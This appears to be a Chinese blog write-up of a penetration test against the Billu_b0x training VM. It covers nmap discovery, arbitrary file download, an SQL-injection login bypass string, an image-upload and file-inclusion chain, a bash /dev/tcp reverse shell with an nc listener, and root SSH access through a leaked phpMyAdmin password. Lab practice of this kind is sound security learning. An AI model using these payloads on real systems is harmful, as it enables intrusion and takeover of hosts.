热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

靶机练习之Billu_b0x

靶机练习之Billu_b0x一、前言这个靶场算是入门级别的吧!对于我这个小白来说还是有一定难度的。在做题过程中遇到的问题,也侧面反映了自己对于web

靶机练习之Billu_b0x


一、前言

这个靶场算是入门级别的吧·!对于我这个小白来说还是有一定难度的。在做题过程中遇到的问题,也侧面反映了自己对于web渗透认识还是不足的,,还需要更进一步的学习。


二、信息收集

1、主机发现
Nmap扫描同子网段下的主机

nmap -sP 192.168.79.0/24

在这里插入图片描述
在这里插入图片描述发现同网段的192.168.79.150存活主机
2、扫描端口

在这里插入图片描述发现目标主机开放了22,80端口
打开浏览器查看
在这里插入图片描述
3、扫描网站目录
在这里插入图片描述


三、漏洞发现与利用

逐一访问之前探测出来的页面,在访问到test.php时,提示file为空参数,需要传参,尝试传参?file=/etc/passwd,没有响应,于是改为使用POST方法,能够成功将passwd文件下载下来,存在任意文件下载。
在这里插入图片描述通过审计c.php直接获得了以下信息:

mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

##***直接注入***拿到index.php的源码,找到关键逻辑部分。我们看到目标先将我们输入的单引号清除,之后再验证登录信息的正确性,比较特殊的是验证顺序是先密码再账号,怪不得之前的尝试一直失败,知道源码之后绕过就很简单了,我们构造

uname=or 1=1#pass=\

(此处为借鉴,大佬tql)
也可以在知道数据库的账号名和密码(前面已经发现)后直接登陆数据库,查看auth表找到后台登陆的用户名和密码

成功登录

在这里插入图片描述简单的浏览该网页,发现存在文件上传入口,尝试上传shell,根据提示信息只允许上传图片文件。

在这里插入图片描述
进一步审计刚刚下载下来的源码,可以发现show user模块存在文件包含。

在这里插入图片描述上传一张普通的照片,用bp进行拦截数据包,在图片末尾添加GIF89A 成功上传

反弹shell

echo "bash -i >& /dev/tcp/192.168.79.150/6767 0>&1" | bash

这里需要留意要进行URL编码(我在这个地方困惑了好久,导致一直无法反弹shell成功)
在这里插入图片描述kali进行监听

nc -lvp 6767

在这里插入图片描述
接下来进行提权,前面扫描出目标主机开放了22端口,那么查看相关的敏感文件,phpMyAdmin配置文件,发现
在这里插入图片描述然后尝试用这个root用户和口令去连ssh,成功连接上

在这里插入图片描述提权有好多种方式,这仅仅是碰巧走了一个捷径。看了其他的wp,发现有好多的提权方式,利用msf进行提权,利用linux版本自身的漏洞进行提权等等,接下去再去实践了。


推荐阅读
  • 服务器部署中的安全策略实践与优化
    服务器部署中的安全策略实践与优化 ... [详细]
  • 网站访问全流程解析
    本文详细介绍了从用户在浏览器中输入一个域名(如www.yy.com)到页面完全展示的整个过程,包括DNS解析、TCP连接、请求响应等多个步骤。 ... [详细]
  • 从0到1搭建大数据平台
    从0到1搭建大数据平台 ... [详细]
  • 本文介绍了如何使用 CMD 批处理脚本进行文件操作,包括将指定目录下的 PHP 文件重命名为 HTML 文件,并将这些文件复制到另一个目录。 ... [详细]
  • 本文介绍了如何利用HTTP隧道技术在受限网络环境中绕过IDS和防火墙等安全设备,实现RDP端口的暴力破解攻击。文章详细描述了部署过程、攻击实施及流量分析,旨在提升网络安全意识。 ... [详细]
  • php更新数据库字段的函数是,php更新数据库字段的函数是 ... [详细]
  • CentOS 7 中 iptables 过滤表实例与 NAT 表应用详解
    在 CentOS 7 系统中,iptables 的过滤表和 NAT 表具有重要的应用价值。本文通过具体实例详细介绍了如何配置 iptables 的过滤表,包括编写脚本文件 `/usr/local/sbin/iptables.sh`,并使用 `iptables -F` 清空现有规则。此外,还深入探讨了 NAT 表的配置方法,帮助读者更好地理解和应用这些网络防火墙技术。 ... [详细]
  • 在使用 Cacti 进行监控时,发现已运行的转码机未产生流量,导致 Cacti 监控界面显示该转码机处于宕机状态。进一步检查 Cacti 日志,发现数据库中存在 SQL 查询失败的问题,错误代码为 145。此问题可能是由于数据库表损坏或索引失效所致,建议对相关表进行修复操作以恢复监控功能。 ... [详细]
  • 如何解决8080端口被占用问题
    本文介绍了如何通过命令行和任务管理器查找并终止占用8080端口的进程,以确保该端口能够正常使用。 ... [详细]
  • LDAP服务器配置与管理
    本文介绍如何通过安装和配置SSSD服务来统一管理用户账户信息,并实现其他系统的登录调用。通过图形化交互界面配置LDAP服务器,确保用户账户信息的集中管理和安全访问。 ... [详细]
  • Linux CentOS 7 安装PostgreSQL 9.5.17 (源码编译)
    近日需要将PostgreSQL数据库从Windows中迁移到Linux中,LinuxCentOS7安装PostgreSQL9.5.17安装过程特此记录。安装环境&#x ... [详细]
  • Framework7:构建跨平台移动应用的高效框架
    Framework7 是一个开源免费的框架,适用于开发混合移动应用(原生与HTML混合)或iOS&Android风格的Web应用。此外,它还可以作为原型开发工具,帮助开发者快速创建应用原型。 ... [详细]
  • 解决Bootstrap DataTable Ajax请求重复问题
    在最近的一个项目中,我们使用了JQuery DataTable进行数据展示,虽然使用起来非常方便,但在测试过程中发现了一个问题:当查询条件改变时,有时查询结果的数据不正确。通过FireBug调试发现,点击搜索按钮时,会发送两次Ajax请求,一次是原条件的请求,一次是新条件的请求。 ... [详细]
  • 在CentOS 7环境中安装配置Redis及使用Redis Desktop Manager连接时的注意事项与技巧
    在 CentOS 7 环境中安装和配置 Redis 时,需要注意一些关键步骤和最佳实践。本文详细介绍了从安装 Redis 到配置其基本参数的全过程,并提供了使用 Redis Desktop Manager 连接 Redis 服务器的技巧和注意事项。此外,还探讨了如何优化性能和确保数据安全,帮助用户在生产环境中高效地管理和使用 Redis。 ... [详细]
  • 在本文中,我们将探讨如何在Docker环境中高效地管理和利用数据库。首先,需要安装Docker Desktop以确保本地环境准备就绪。接下来,可以从Docker Hub中选择合适的数据库镜像,并通过简单的命令将其拉取到本地。此外,我们还将介绍如何配置和优化这些数据库容器,以实现最佳性能和安全性。 ... [详细]
author-avatar
百变精灵6810
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有